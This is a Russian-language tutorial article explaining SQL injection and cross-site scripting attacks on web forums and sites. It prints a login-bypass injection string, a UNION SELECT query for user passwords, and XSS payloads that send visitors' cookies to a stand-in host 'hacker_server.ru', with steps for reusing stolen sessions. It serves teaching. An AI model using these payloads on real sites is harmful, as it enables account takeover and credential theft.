 |
Внедрение операторов SQL (SQL Injection)
|
|
|
|
Практически во всех современных Web-приложениях используются базы данных. В таблицах базы данных, как правило, хранится основной контент Web страницы и всевозможная дополнительная информация. Например, в базе данных Web-форума хранятся темы, сообщения, а также информация о пользователях: логин, пароль в зашифрованном виде, статус, путь к файлу аватара и проч.
Язык запросов Structured Query Language (SQL) представляет собой специализированный язык, позволяющий создавать запросы к базам данных. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (T-SQL в Microsoft SQL Server, PL SQL в Oracle и т.д.).
Когда пользователь обращается к веб-странице через браузер, то серверный скрипт, находящийся на этой странице, формирует SQL-запросы на выборку к базе данных. Полученные данные используются при формировании HTML страницы, отправляемой браузеру. Аналогично происходит и добавление информации в базу: сообщение, введенное пользователем, например, на форуме, передается на Web-сервер, и с помощью того же серверного скрипта и запросов на вставку записывается в базу данных
Смысл атаки SQL Injection состоит втом, что злоумышленник внедряет в SQL-запрос свой код, и в результате получает из БД не предназначенную для него информацию, или модифицирует/удаляет данные таблицы.
Рассмотрим следующий пример. Для того, чтобы попасть на страницу управления сайтом (админку), необходимо пройти процедуру аутентификации. Для аутентификации служит специальная страница, на которой расположена форма с двумя текстовыми полями для ввода логина и пароля и кнопкой.
После того, как пользователь ввел в форму свои учетные данные и нажал на кнопку, его данные передаются на сервер, где выполняется следующий запрос к базе данных:
|
|
|
Select * from users where login=’$login’ and password=’$password’
где $login и $password – переменные, содержащие значения текстовых полей.
Очевидно, что если запрос вернул хотя бы одну запись – то аутентификация пройдена, так как это означает, что пользователь с таим логином и паролем есть в базе данных. Соответственно, задача злоумышленника – заставить базу данных вернуть хотя бы одну запись, независимо от введенной в форму информации.
Это может быть выполнено следующим образом: в качестве логина злоумышленник вводит любое слово (anyword), в качестве пароля - anyword’ or ‘1’=’1.
login= anyword
password= anyword’ or ‘1’=’1
Тогда запрос будет выглядеть так:
Select * from users where login=’anyword’ and password=’anyword’ or ‘1’=’1’
База данных будет проверять, выполняются ли условия запроса. Если условие выполняется, возвращается соответствующая запись. Поскольку условие ‘1’=’1’ выполняется всегда, то и все условие целиком тоже будет выполняться всегда (false and false or true = true). Соответственно, запрос будет выполнен при любых значениях логина и пароля. Он вернет из базы данных набор записей, и аутентификация будет пройдена.
В реальности найти веб-страницу, имеющую подобную уязвимость, практически невозможно. Однако этот пример достаточно наглядно демонстрирует общий принцип проведения атаки SQL Injection.
Можно привести еще один пример, позволяющий получить доступ к конфиденциальной информации веб сайта. Он основан на использовании ключевого слова union, позволяющем объединить результаты двух запросов.
Например, на сайте представлен список статей (ссылками). После щелчка на первой ссылке формируется запрос:
select name, content from articles where id=1
Запрос передается в базу данных, где в таблице articles отыскивается название (name) и содержание (content) статьи под номером 1 (id=1). Далее выбранная статья отображается на странице.
При этом в адресной строке будет отображена ссылка следующего вида:
|
|
|
http://somesite.ru/articles.php?id=1
Злоумышленник может дописать в адресную строку следующий запрос:
http://somesite.ru/articles.php?id=1 union select login, password from users
при этом в базу данных будет передано следующее:
select name, content from articles where id=1 union select login, password from users
В результате на страницу будет выведено содержимое таблицы users, а именно, логины и пароли пользователей.
При проведении данной атаки злоумышленнику надо преодолеть ряд проблем. Первая заключается в том, что число столбцов в первом запросе (select name, content from articles) и во втором запросе (select login, password from users) должно совпадать. Вторая проблема состоит в том, что атакующий должен угадать имена столбцов и таблиц во втором запросе: например, таблица может называться не users, а users_tbl, table_users или вообще иметь неугадываемое название.
Если первую проблему можно решить достаточно просто – путем подбора, то вторую удается решить далеко не всегда. Впрочем, ситуация облегчается тем, что очень часто создатели сайтов используют готовые, бесплатно распространяемые скрипты, код которых доступен и злоумышленнику. Если таблицы и столбцы в них не переименовывались, то задача атакующего существенно облегчается.
Как и в первом случае, приведенный механизм атаки сильно упрощен. В реальности атаки SQL Injection выполняются намного более сложными способами. Но приведенный пример позволяет понять базовую суть данной атаки.
Cross-Site Scripting (XSS)
Аббревиатура XSS расшифровывается как Сross Site Sсriрting («межсайтовый скриптинг»).
Уязвимость заключается в следующем. Имеется HTML страница, которая генерируется автоматически, скриптами на сервере. То есть контент этой страницы хранится в базе данных, при обращении пользователя к веб серверу контент извлекается из базы, помещается на страницу и отправляется в браузер пользователя. По такому принципу работают форумы, гостевые книги, доски объявлений, новостные сайты, фотогалереи и проч.
В эту страницу внедряется произвольный код, путем ввода его в поле формы или в адресную строку. Обычно это код Javascript. Далее этот код сохраняется в базе данных сайта. Затем, когда на сайт заходят другие пользователи, внедренный в страницу Javascript-код передается к ним в браузер и выполняется там.
|
|
|
Таким образом, в качестве жертвы выступает не Web сервер (как в случае SQL инъекций), а клиент. Уязвимый сервер используется как посредник, как промежуточное средство для осуществления атаки на клиента.
Что же позволяют осуществить XSS-уязвимости?
1) Ограничение пользователей в нормальной деятельности на сайте (чаще всего – с целью хулиганства). Например, вывод бесконечного числа окон или сообщений, как результат какого-либо действия пользователя (нажатие, наведение мышью на объект, просто заход на сайт). Или же переадресация на другой узел.
<script> alert(‘Hello!’) </script> - вывод окна с сообщением
<sсriрt>window.loсation.href="httр://anysite.ru"</sсriрt> - переадресация
2) Кражу конфиденциальной информации посетителя.
Используя XSS, можно украсть учетную запись пользователя.
Чтобы пользователю не приходилось набирать пароль каждый раз, когда он заходит в форум, используется система авторизации через cookie. Когда пользователь первый раз аутентифицируется на форуме, для него создается так называемая сессия, которой присваивается специальный идентификатор (как правило, 16-символьная строка). Идентификатор сессии записывается к пользователю на жесткий диск в специальный текстовый файл – cookie, а также сохраняется на веб сервере. Когда пользователь заходит на форум, скрипт запрашивает cookie и проверяет, совпадает ли сессия, хранящаяся на жестком диске, с сессией, которая хранится на веб сервере. Если они совпадают, то форум считает, что пользователь аутентифицирован.
Соответственно, если злоумышленник похитит данные из этого cookie пользователя и передаст их сервису как свои, то система распознает взломщика как реального пользователя.
Для проведения атаки злоумышленнику необходимо иметь свой собственный сайт. На нем будет работать скрипт, принимающий данные из чужого cookie и сохраняющий их в файле. Затем он внедряет в свое сообщение на форуме или гостевой книге следующий скрипт:
<script>document.location.href='http://hacker_server.ru/cookie.php?' + document.cookie;</script>
В результате выполнения этого скрипта браузер сделает перенаправление на скрипт http://hacker_server.ru/cookie.php. В параметрах ему передастся cookie пользователя. Cookie будет похищен, но пользователь может заподозрить неладное: вместо ожидаемой страницы он увидит результаты работы скрипта cookie.php, т.е. пустую страницу. Тут уже от фантазии хакера зависит, каким образом он сможет скрыть результат работы своего скрипта. Дальше будет приведен пример “незаметного” внедрения кода.
|
|
|
В итоге в файле на сервере злоумышленника скопятся cookie всех пользователей, просмотревших форум или чат с внедренным Javascript.
Как решить проблему фильтрации на форумах
Преобладающее большинство скриптов в форумах препятствуют вставке своих html-тегов в сообщение, заменяя символы < и > кодами этих символов (< и >). Соответственно, если, к примеру, хакер вставит в свое сообщение строку <SCRIPT></SCRIPT>, то, скорее всего, она будет выведена как простой текст, и javascript, находящийся внутри этих тегов, не будет исполнен. Но для хакера это не проблема, т.к. есть еще несколько других способов вставить javascript в сообщение.
Как известно, в форумах при создании сообщения можно использовать специальные теги, с помощью которых можно выделять свой текст цветом, вставлять картинки, ссылки и др. В некоторых форумах не фильтруются данные, прописывающиеся в этих тегах.
С помощью тега Так же можно красть и cookies. Добавляем в тег тогда картинка будет сформирована следующим образом: <img name=myimg src="javascript:document.myimg.src='http://hacker_server.ru/cookie.php?' + document.cookie;"> Что же сделает браузер пользователя при обработке этой строки? Он увидит, что необходимо загрузить картинку с именем «myimg», URL которой складывается из пути к скрипту cookie.php и данных cookie пользователя. Когда браузер попытается загрузить эту так называемую «картинку», скрипт cookie.php получит cookie пользователя и сохранит его в файле. Кроме того, такая конструкция, в отличие от предыдущей, вряд ли вызовет беспокойство у пользователя (поскольку не будет перенаправления). Подобная уязвимость бывает и в других тегах. Например, тег [color], позволяющий выделять слова цветом, тег [url], с помощью которого пользователь может вставлять в свои сообщения ссылки. Получив cookie, злоумышленник может воспользоваться им для получения доступа несколькими способами. Самый простой из них – использовать специальную программу, предназначенную для подделки cookie (например, Cookie Editor). Злоумышленник аутентифицируется на форуме с помощью своих учетных данных. На жесткий диск ему записывается cookie с его сессией. Потом он закрывает браузер и запускает Cookie Editor. Выбирает файл cookie, который оставил форум, и меняет значения соответствующих переменных на значения из украденного cookie. Потом злоумышленник открывает браузер, и заходит в форум, при этом форум распознает его как пользователя, у которого был украден cookie. Поскольку администратор форума/чата тоже пользуется браузером, он также подвержен уязвимости. Если администратор просмотрит сообщение с опасным JavaScript-кодом, который отсылает его cookie хакеру, то последний станет таким же администратором, как и законный администратор. Хакер получит доступ к управлению всеми пользователями, сможет править чужие сообщения, просматривать IP-адреса, с которых пользователи форума писали свои сообщения, банить и даже создавать новые разделы в форуме - словом, сможет делать все, что предусмотрено панелью управления форума.
